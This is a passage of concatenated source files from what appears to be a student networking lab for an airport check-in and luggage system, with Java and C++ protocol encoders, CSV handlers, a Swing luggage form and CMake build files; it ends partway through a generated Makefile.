public String getDestination() {
return destination;
}
/**
* @param destination the destination to set
*/
public void setDestination(String destination) {
this.destination = destination;
}
/**
* @return the heure
*/
public String getHeure() {
return heure;
}
/**
* @param heure the heure to set
*/
public void setHeure(String heure) {
this.heure = heure;
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/TicketCsvHandler.cpp
#include "TicketCsvHandler.h"
TicketCsvHandler::TicketCsvHandler(const string filePath, const string sep) {
this->csvHandler = new CsvHandler(filePath, sep);
}
TicketCsvHandler::~TicketCsvHandler() {
delete this->csvHandler;
}
bool TicketCsvHandler::reservationExists(ticketStruct ticket) {
bool exists = false;
string line, encodedLine;
encodedLine = ticket.ticketNumber + this->csvHandler->getSeparator() + ticket.nbCompanions;
this->csvHandler->resetPos();
while (this->csvHandler->hasNextRecord() && !exists){
line = this->csvHandler->getNextRecord();
exists = this->csvHandler->getFields(line).size()==2 && encodedLine==line;
}
return exists;
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Tests/ErrnoExceptionTest.cpp
#include <iostream>
#include "../Exceptions/ErrnoException.h"
using namespace std;
void lancerException() throw(ErrnoException){
cout << "throwing the exception..." << endl;
throw ErrnoException(9, "un message quelconque");
}
int main(){
cout << "Testing ErrnoException..." << endl;
try{
lancerException();
}catch (ErrnoException& ex){
cout << "Catched an exception!" << endl;
cout << "Message : " << ex.what() << endl;
}
return 0;
}
<file_sep>/final eclipse/Librairie/src/database/IBDInpresAirport.java
package database;
public interface IBDInpresAirport
{
final String DB_SCHEMA = "BD_AIRPORT";
final String DB_TABLE_LOGIN = "passenger";
final String DB_TABLE_CADDIE = "caddie";
final String DB_TABLE_RESERVATION = "caddieitem";
final String DB_TABLE_VOL = "flight";
final String DB_TABLE_AVION = "airplane";
final String DB_TABLE_BILLET = "ticket";
final String DB_TABLE_BAGGAGE = "luggage";
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_CsvHandler.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_CsvHandler.dir/Tests/CsvHandlerTest.cpp.o"
"CMakeFiles/test_CsvHandler.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/test_CsvHandler.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/test_CsvHandler.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/test_CsvHandler.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/test_CsvHandler.dir/Exceptions/HostException.cpp.o"
"CMakeFiles/test_CsvHandler.dir/Exceptions/CIMPException.cpp.o"
"CMakeFiles/test_CsvHandler.dir/CSV/CsvHandler.cpp.o"
"CMakeFiles/test_CsvHandler.dir/CSV/LoginCsvHandler.cpp.o"
"CMakeFiles/test_CsvHandler.dir/CSV/TicketCsvHandler.cpp.o"
"CMakeFiles/test_CsvHandler.dir/CSV/LuggageDatabase.cpp.o"
"CMakeFiles/test_CsvHandler.dir/CSV/LuggageCsvHandler.cpp.o"
"test_CsvHandler.pdb"
"test_CsvHandler"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_CsvHandler.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/final eclipse/Librairie/src/network/crypto/HMACException.java
package network.crypto;
public class HMACException extends Exception {
/**
*
*/
private static final long serialVersionUID = 1L;
public HMACException() {
super("HMACException()");
}
public HMACException(String msg) {
super(msg);
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CIMP/CIMP.h
#ifndef CIMP_CIMP_H
#define CIMP_CIMP_H
#include <string>
#include <iostream>
#include <sstream>
#include <vector>
#include <stdlib.h>
#include "../Exceptions/CIMPException.h"
#define EOC 1
#define DOC 2
#define OK 3
#define KO 4
#define LOGIN_OFFICER 10
#define LOGIN_OFFICER_OK 11
#define LOGIN_OFFICER_KO 12
#define LOGOUT_OFFICER 20
#define LOGOUT_OFFICER_OK 21
#define LOGOUT_OFFICER_KO 22
#define CHECK_TICKET 30
#define CHECK_TICKET_OK 31
#define CHECK_TICKET_KO 32
#define CHECK_LUGGAGE 40
#define CHECK_LUGGAGE_OK 41
#define CHECK_LUGGAGE_KO 42
#define PAYMENT_DONE 50
#define PAYMENT_DONE_OK 51
#define PAYMENT_DONE_KO 52
using namespace std;
typedef struct{
string login;
string password;
} loginStruct;
typedef struct{
string ticketNumber;
string nbCompanions;
} ticketStruct;
typedef struct{
string ticketNumber;
string weight;
bool isLuggage;
} luggageStruct;
typedef struct{
string ticketNumber;
string totalWeight;
string excessWeight;
string priceToPay;
} luggageSumStruct;
class CIMP {
private:
string separator;
public:
explicit CIMP(string separator) throw(CIMPException);
CIMP(const CIMP &orig);
const string encodeEOC() const;
const string encodeDOC(string msg) const;
const string encodeOK() const;
const string encodeKO(string reasonWhy) const;
const string encodeLOGIN_OFFICER(loginStruct credentials) const throw(CIMPException);
const string encodeLOGIN_OFFICER_OK() const;
const string encodeLOGIN_OFFICER_KO(string reasonWhy) const;
const string encodeLOGOUT_OFFICER() const;
const string encodeLOGOUT_OFFICER_OK() const;
const string encodeLOGOUT_OFFICER_KO(string reasonWhy) const;
const string encodeCHECK_TICKET(ticketStruct ticket) const throw(CIMPException);
const string encodeCHECK_TICKET_OK() const;
const string encodeCHECK_TICKET_KO(string reasonWhy) const;
const string encodeCHECK_LUGGAGE(vector<luggageStruct> vectorLuggage) const throw(CIMPException);
const string encodeCHECK_LUGGAGE_OK(luggageSumStruct luggageResult) const;
const string encodeCHECK_LUGGAGE_KO(string reasonWhy) const;
const string encodePAYMENT_DONE(bool done) const;
const string encodePAYMENT_DONE_OK() const;
const string encodePAYMENT_DONE_KO(string reasonWhy) const;
const string getNextToken(string &msg) const;
const int parse(string msg, void **parsedData) const throw(CIMPException);
const string encodeManyParams(int requestType, vector<string> params) const throw(CIMPException);
const string encodeOneParam(int requestType, string msg) const;
const string encodeNoParam(int requestType) const;
};
#endif //CIMP_CIMP_H
<file_sep>/part_3/Evaluation3(ancien)/LUGAP/src/lugap/requete/RequeteLUGAP_logout.java
package lugap.requete;
import communicator.CommunicatorException;
import java.io.Serializable;
import lugap.reponse.ReponseLUGAP_logout;
public class RequeteLUGAP_logout extends RequeteLUGAP implements Serializable {
public RequeteLUGAP_logout() {
super("logout", "");
}
@Override
protected void doAction() {
try {
this.reponse = ReponseLUGAP_logout.OK();
traceEvent("Logout OK");
this.communicator.SendSerializable(this.reponse);
} catch (CommunicatorException ex) {
traceEvent("" + ex.getMessage());
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_morgan.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_morgan.dir/Tests/test.cpp.o"
"test_morgan.pdb"
"test_morgan"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_morgan.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CIMP/CIMP.cpp
#include "CIMP.h"
CIMP::CIMP(const string separator) throw(CIMPException) {
if(separator.empty())
throw CIMPException("CIMP::CIMP(const string separator) >> separator is empty.");
this->separator = separator;
}
CIMP::CIMP(const CIMP &orig){
this->separator = orig.separator;
}
/*****************************
** EOC/DOC **
*****************************/
const string CIMP::encodeEOC() const {
return encodeNoParam(EOC);
}
const string CIMP::encodeDOC(string reasonWhy) const {
return encodeOneParam(DOC, reasonWhy);
}
const string CIMP::encodeOK() const {
return encodeNoParam(OK);
}
const string CIMP::encodeKO(string reasonWhy) const {
return encodeNoParam(KO);
}
/*****************************
** LOGIN/LOGOUT **
*****************************/
const string CIMP::encodeLOGIN_OFFICER(const loginStruct credentials) const throw(CIMPException) {
if(credentials.login.empty())
throw CIMPException("CIMP::encodeLOGIN_OFFICER(const loginStruct credentials) >> Error, the login is empty.");
vector<string> params;
params.push_back(credentials.login);
params.push_back(credentials.password);
return encodeManyParams(LOGIN_OFFICER, params);
}
const string CIMP::encodeLOGIN_OFFICER_OK() const {
return encodeNoParam(LOGIN_OFFICER_OK);
}
const string CIMP::encodeLOGIN_OFFICER_KO(string reasonWhy) const {
return encodeOneParam(LOGIN_OFFICER_KO, reasonWhy);
}
const string CIMP::encodeLOGOUT_OFFICER() const {
return encodeNoParam(LOGOUT_OFFICER);
}
const string CIMP::encodeLOGOUT_OFFICER_OK() const {
return encodeNoParam(LOGOUT_OFFICER_OK);
}
const string CIMP::encodeLOGOUT_OFFICER_KO(string reasonWhy) const {
return encodeOneParam(LOGOUT_OFFICER_KO, reasonWhy);
}
/*****************************
** CHECK_TICKET **
*****************************/
const string CIMP::encodeCHECK_TICKET(ticketStruct ticket) const throw(CIMPException) {
if(ticket.ticketNumber.empty())
throw CIMPException("CIMP::encodeCHECK_TICKET(ticketStruct ticket) >> Error, the ticket number is empty.");
vector<string> params;
params.push_back(ticket.ticketNumber);
params.push_back(ticket.nbCompanions);
return encodeManyParams(CHECK_TICKET, params);
}
const string CIMP::encodeCHECK_TICKET_OK() const {
return encodeNoParam(CHECK_TICKET_OK);
}
const string CIMP::encodeCHECK_TICKET_KO(string reasonWhy) const {
return encodeOneParam(CHECK_TICKET_KO, reasonWhy);
}
/*****************************
** CHECK_LUGGAGE **
*****************************/
const string CIMP::encodeCHECK_LUGGAGE(vector<luggageStruct> vectorLuggage) const throw(CIMPException) {
if(vectorLuggage.size()==0)
return encodeNoParam(CHECK_LUGGAGE);
vector<string> params;
for(luggageStruct luggage : vectorLuggage) {
params.push_back(luggage.ticketNumber);
params.push_back(luggage.weight);
params.push_back(luggage.isLuggage ? "TRUE" : "FALSE");
}
return encodeManyParams(CHECK_LUGGAGE, params);
}
const string CIMP::encodeCHECK_LUGGAGE_OK(luggageSumStruct luggageResult) const {
if(luggageResult.ticketNumber.empty())
throw CIMPException("CIMP::encodeCHECK_LUGGAGE_OK(luggageSumStruct luggageResult) >> Error, the luggage's id is empty.");
vector<string> params;
params.push_back(luggageResult.ticketNumber);
params.push_back(luggageResult.totalWeight);
params.push_back(luggageResult.excessWeight);
params.push_back(luggageResult.priceToPay);
return encodeManyParams(CHECK_LUGGAGE_OK, params);
}
const string CIMP::encodeCHECK_LUGGAGE_KO(string reasonWhy) const {
return encodeOneParam(CHECK_LUGGAGE_KO, reasonWhy);
}
/*****************************
** PAYMENT_DONE **
*****************************/
const string CIMP::encodePAYMENT_DONE(bool done) const {
return encodeOneParam(PAYMENT_DONE, (done?"TRUE":"FALSE"));
}
const string CIMP::encodePAYMENT_DONE_OK() const {
return encodeNoParam(PAYMENT_DONE_OK);
}
const string CIMP::encodePAYMENT_DONE_KO(string reasonWhy) const {
return encodeOneParam(PAYMENT_DONE_KO, reasonWhy);
}
/*****************************
** PARSER **
*****************************/
const string CIMP::getNextToken(string &msg) const {
size_t pos = 0;
string token;
if ((pos = msg.find(this->separator)) != string::npos) {
token = msg.substr(0, pos);
msg.erase(0, pos + this->separator.length());
}
return token;
}
const int CIMP::parse(string msg, void **parsedData) const throw(CIMPException) {
int requestType = -1;
vector<string> data;
string temp;
temp = getNextToken(msg);
requestType = atoi(temp.c_str());
switch(requestType){
case LOGIN_OFFICER:
*parsedData = new loginStruct;
((loginStruct *)*parsedData)->login = getNextToken(msg);
((loginStruct *)*parsedData)->password = msg;
break;
case CHECK_TICKET:
*parsedData = new ticketStruct;
((ticketStruct *)*parsedData)->ticketNumber = getNextToken(msg);
((ticketStruct *)*parsedData)->nbCompanions = msg;
break;
case CHECK_LUGGAGE: {
*parsedData = new vector<luggageStruct>;
vector<string> v;
while (!(temp = getNextToken(msg)).empty()) {
v.reserve(1);
v.push_back(temp);
}
v.reserve(1);
v.push_back(msg);
for(unsigned int i=0; i<v.size(); i+=3){
luggageStruct luggage;
luggage.ticketNumber = v[i];
luggage.weight = v[i+1];
luggage.isLuggage = v[i+2]=="TRUE";
((vector<luggageStruct> *)*parsedData)->reserve(1);
((vector<luggageStruct> *)*parsedData)->push_back(luggage);
}
}
break;
case CHECK_LUGGAGE_OK:
*parsedData = new luggageSumStruct;
((luggageSumStruct *)*parsedData)->ticketNumber = getNextToken(msg);
((luggageSumStruct *)*parsedData)->totalWeight = getNextToken(msg);
((luggageSumStruct *)*parsedData)->excessWeight = getNextToken(msg);
((luggageSumStruct *)*parsedData)->priceToPay = msg;
break;
/*** Returns void ****/
case EOC:
case OK:
case LOGIN_OFFICER_OK:
case LOGOUT_OFFICER:
case LOGOUT_OFFICER_OK:
case CHECK_TICKET_OK:
case PAYMENT_DONE_OK:
*parsedData = nullptr;
break;
/*** Returns a string ****/
case DOC:
case KO:
case LOGIN_OFFICER_KO:
case LOGOUT_OFFICER_KO:
case CHECK_TICKET_KO:
case CHECK_LUGGAGE_KO:
case PAYMENT_DONE_KO:
*parsedData = new string(msg);
break;
/*** Returns a boolean ****/
case PAYMENT_DONE:
*parsedData = new char;
cout << "PAYEMENT_DONE=" << msg << endl;
*((char *)*parsedData) = string(msg) == "TRUE";
break;
default:
throw CIMPException("CIMP::parse(const char *msg, void **parsedData) >> Error, the value for atoi(requestType) is unkown.");
}
return requestType;
}
/*****************************
** ENCODERS **
*****************************/
const string CIMP::encodeManyParams(int requestType, vector<string> params) const throw(CIMPException) {
if(params.empty())
throw CIMPException("CIMP::encodeManyParams(int requestType, vector<string> params) >> Error, the vector params is empty.");
stringstream ss;
ss << requestType;
for(const string ¶m : params)
ss << this->separator << param;
return ss.str();
}
const string CIMP::encodeOneParam(int requestType, string msg) const {
stringstream ss;
ss << requestType << this->separator << msg;
return ss.str();
}
const string CIMP::encodeNoParam(const int requestType) const {
stringstream ss;
ss << requestType << this->separator;
return ss.str();
}
<file_sep>/final eclipse/Librairie/src/generic/server/ListeTaches.java
package generic.server;
import java.util.LinkedList;
public class ListeTaches implements ISourceTaches {
private final LinkedList<Runnable> listeTaches;
public ListeTaches()
{
this.listeTaches = new LinkedList<>();
}
@Override
public Runnable getTache() throws InterruptedException {
while(!existTaches()) wait();
return listeTaches.remove();
}
@Override
public boolean existTaches() {
return !listeTaches.isEmpty();
}
@Override
public void recordTache(Runnable r) {
listeTaches.addLast(r);
notify();
}
}
<file_sep>/part_3/Application_Bagages/src/Form/FormBagages.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Form;
import Socket.RequestBagage;
import Socket.RequestDigest;
import Socket.RequestVols;
import Socket.SocketClient;
import Socket.SocketClientException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.DefaultCellEditor;
import javax.swing.JComboBox;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.TableColumn;
/**
*
* @author jona1993
*/
public class FormBagages extends javax.swing.JDialog {
/**
* Creates new form FormBagages
*/
private DefaultTableModel model = null;
private ArrayList<RequestBagage> al;
private int changeC = 0;
private SocketClient sock;
public FormBagages(java.awt.Frame parent, boolean modal) {
super(parent, modal);
initComponents();
initMyComponent();
//{,{"362-WACHARVILROM-22082017-0070-007",27,"PAS VALISE","NO,"NO","NO"}}
}
public FormBagages(java.awt.Frame parent, boolean modal, ArrayList<RequestBagage> al, SocketClient sock) {
super(parent, modal);
initComponents();
initMyComponent();
model = (DefaultTableModel) jTable1.getModel();
for(int i = 0; i < al.size();i++)
{
RequestBagage r = (RequestBagage) al.get(i);
model.addRow(new Object[]{r.getNumero(),r.getPoids(),(r.getValise() == true)?"Valise":"Non Valise","NO","NO","NO"});
}
this.sock = sock;
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jPanel2 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jPanel1 = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
jTable1 = new javax.swing.JTable(){
@Override
public boolean isCellEditable(int row, int column){
if(column == 0 || column == 1 || column == 2)
return false;
return true;
}
};
jButton1 = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setBackground(new java.awt.Color(43, 17, 56));
jPanel2.setBackground(new java.awt.Color(10, 23, 34));
jLabel1.setFont(new java.awt.Font("Segoe UI Symbol", 1, 48)); // NOI18N
jLabel1.setForeground(new java.awt.Color(250, 250, 250));
jLabel1.setText("Bagages");
javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 257, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 131, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(74, Short.MAX_VALUE))
);
jPanel1.setBackground(new java.awt.Color(43, 17, 56));
jScrollPane1.setBackground(new java.awt.Color(43, 17, 56));
jScrollPane1.setForeground(new java.awt.Color(250, 250, 250));
jTable1.setBackground(new java.awt.Color(43, 17, 56));
jTable1.setFont(new java.awt.Font("Segoe UI Symbol", 1, 14)); // NOI18N
jTable1.setForeground(new java.awt.Color(255, 255, 255));
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
},
new String [] {
"Identifiant", "Poids", "Type", "Réceptionné (O/N)", "Chargé en soute (O/N)", "Vérifié par la douane (O/N)", "Remarques"
}
));
jScrollPane1.setViewportView(jTable1);
jButton1.setText("OK");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 1028, Short.MAX_VALUE)
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jButton1)
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 384, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton1)
.addGap(0, 14, Short.MAX_VALUE))
);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
//System.err.println(model.getValueAt(0, 4));
for(int i = 0; i < model.getRowCount(); i++ )
{
if(model.getValueAt(i, 4) == "YES" || model.getValueAt(i, 4) == "REFUSE")
{
changeC++;
}
}
System.err.println(changeC);
if(changeC == model.getRowCount())
{
RequestDigest r = new RequestDigest();
r.setProto("Logout");
try {
sock.sendMessage(r);
} catch (IOException ex) {
Logger.getLogger(FormBagages.class.getName()).log(Level.SEVERE, null, ex);
} catch (SocketClientException ex) {
Logger.getLogger(FormBagages.class.getName()).log(Level.SEVERE, null, ex);
}
this.dispose();
}
}//GEN-LAST:event_jButton1ActionPerformed
private void initMyComponent()
{
TableColumn rec= jTable1.getColumnModel().getColumn(3);
JComboBox recBox = new JComboBox();
recBox.addItem("NO");
recBox.addItem("YES");
//recBox.addItem("Refuse");
rec.setCellEditor(new DefaultCellEditor(recBox));
TableColumn charg = jTable1.getColumnModel().getColumn(4);
JComboBox chargBox = new JComboBox();
chargBox.addItem("NO");
chargBox.addItem("YES");
chargBox.addItem("REFUSE");
charg.setCellEditor(new DefaultCellEditor(chargBox));
TableColumn doua = jTable1.getColumnModel().getColumn(5);
JComboBox couBox = new JComboBox();
couBox.addItem("NO");
couBox.addItem("YES");
doua.setCellEditor(new DefaultCellEditor(couBox));
model = (DefaultTableModel) jTable1.getModel();
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(FormBagages.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(FormBagages.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(FormBagages.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(FormBagages.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the dialog */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
FormBagages dialog = new FormBagages(new javax.swing.JFrame(), true);
dialog.addWindowListener(new java.awt.event.WindowAdapter() {
@Override
public void windowClosing(java.awt.event.WindowEvent e) {
System.exit(0);
}
});
dialog.setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton1;
private javax.swing.JLabel jLabel1;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
// End of variables declaration//GEN-END:variables
}
<file_sep>/LaboReseauxBinome/Evaluation6/TICKMAP/src/tickmap/reponse/ReponseTICKMAP_login.java
package tickmap.reponse;
import java.io.Serializable;
import server.Reponse;
public class ReponseTICKMAP_login extends Reponse implements Serializable {
private ReponseTICKMAP_login(String message, boolean successful) {
super(message, successful);
}
public static ReponseTICKMAP_login OK(){
return new ReponseTICKMAP_login("", true);
}
public static ReponseTICKMAP_login KO(String message){
return new ReponseTICKMAP_login(message, false);
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Application_CheckIn/cmake-build-debug/Makefile
# CMAKE generated file: DO NOT EDIT!
# Generated by "Unix Makefiles" Generator, CMake Version 3.8
# Default target executed when no arguments are given to make.
default_target: all
.PHONY : default_target
# Allow only one "make -f Makefile2" at a time, but pass parallelism.
.NOTPARALLEL:
#=============================================================================
# Special targets provided by cmake.
# Disable implicit rules so canonical targets will work.
.SUFFIXES:
# Remove some rules from gmake that .SUFFIXES does not remove.
SUFFIXES =
.SUFFIXES: .hpux_make_needs_suffix_list
# Suppress display of executed commands.
$(VERBOSE).SILENT:
# A target that is always out of date.
cmake_force:
.PHONY : cmake_force
#=============================================================================
# Set environment variables for the build.
# The shell in which to execute make rules.
SHELL = /bin/sh
# The CMake executable.
CMAKE_COMMAND = /Applications/CLion.app/Contents/bin/cmake/bin/cmake
# The command to remove a file.
RM = /Applications/CLion.app/Contents/bin/cmake/bin/cmake -E remove -f
# Escaping for special characters.
EQUALS = =
# The top-level source directory on which CMake was run.
CMAKE_SOURCE_DIR = /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Application_CheckIn
# The top-level build directory on which CMake was run.
CMAKE_BINARY_DIR = /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Application_CheckIn/cmake-build-debug
#=============================================================================
# Targets provided globally by CMake.
# Special rule for the target rebuild_cache
rebuild_cache:
@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "Running CMake to regenerate build system..."
/Applications/CLion.app/Contents/bin/cmake/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)
.PHONY : rebuild_cache
# Special rule for the target rebuild_cache
rebuild_cache/fast: rebuild_cache
.PHONY : rebuild_cache/fast
# Special rule for the target edit_cache
edit_cache:
@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "No interactive CMake dialog available..."
/Applications/CLion.app/Contents/bin/cmake/bin/cmake -E echo No\ interactive\ CMake\ dialog\ available.
.PHONY : edit_cache
# Special rule for the target edit_cache
edit_cache/fast: edit_cache
.PHONY : edit_cache/fast
# The main all target
all: cmake_check_build_system
$(CMAKE_COMMAND) -E cmake_progress_start /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Application_CheckIn/cmake-build-debug/CMakeFiles /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Application_CheckIn/cmake-build-debug/CMakeFiles/progress.marks
$(MAKE) -f CMakeFiles/Makefile2 all
$(CMAKE_COMMAND) -E cmake_progress_start /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Application_CheckIn/cmake-build-debug/CMakeFiles 0
.PHONY : all
# The main clean target
clean:
$(MAKE) -f CMakeFiles/Makefile2 clean
.PHONY : clean
# The main clean target
clean/fast: clean
.PHONY : clean/fast
# Prepare targets for installation.
preinstall: all
$(MAKE) -f CMakeFiles/Makefile2 preinstall
.PHONY : preinstall
# Prepare targets for installation.
preinstall/fast:
$(MAKE) -f CMakeFiles/Makefile2 preinstall
.PHONY : preinstall/fast
# clear depends
depend:
$(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1
.PHONY : depend
#=============================================================================
# Target rules for targets named Application_CheckIn
# Build rule for target.
Application_CheckIn: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 Application_CheckIn
.PHONY : Application_CheckIn
# fast build rule for target.
Application_CheckIn/fast:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/build
.PHONY : Application_CheckIn/fast
#=============================================================================
# Target rules for targets named Librairies
# Build rule for target.
Librairies: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 Librairies
.PHONY : Librairies
# fast build rule for target.
Librairies/fast:
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/build
.PHONY : Librairies/fast
Application_CheckIn.o: Application_CheckIn.cpp.o
.PHONY : Application_CheckIn.o
# target to build an object file
Application_CheckIn.cpp.o:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Application_CheckIn.cpp.o
.PHONY : Application_CheckIn.cpp.o
Application_CheckIn.i: Application_CheckIn.cpp.i
.PHONY : Application_CheckIn.i
# target to preprocess a source file
Application_CheckIn.cpp.i:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Application_CheckIn.cpp.i
.PHONY : Application_CheckIn.cpp.i
Application_CheckIn.s: Application_CheckIn.cpp.s
.PHONY : Application_CheckIn.s
# target to generate assembly for a file
Application_CheckIn.cpp.s:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/Application_CheckIn.cpp.s
.PHONY : Application_CheckIn.cpp.s
ClientException.o: ClientException.cpp.o
.PHONY : ClientException.o
# target to build an object file
ClientException.cpp.o:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/ClientException.cpp.o
.PHONY : ClientException.cpp.o
ClientException.i: ClientException.cpp.i
.PHONY : ClientException.i
# target to preprocess a source file
ClientException.cpp.i:
$(MAKE) -f CMakeFiles/Application_CheckIn.dir/build.make CMakeFiles/Application_CheckIn.dir/ClientException.cpp.i
.PHONY : ClientException.cpp.i
ClientException.s: ClientException.cpp.s
.PHONY : ClientException.s
# target to generate assembly for a file
ClientException.cpp.s:
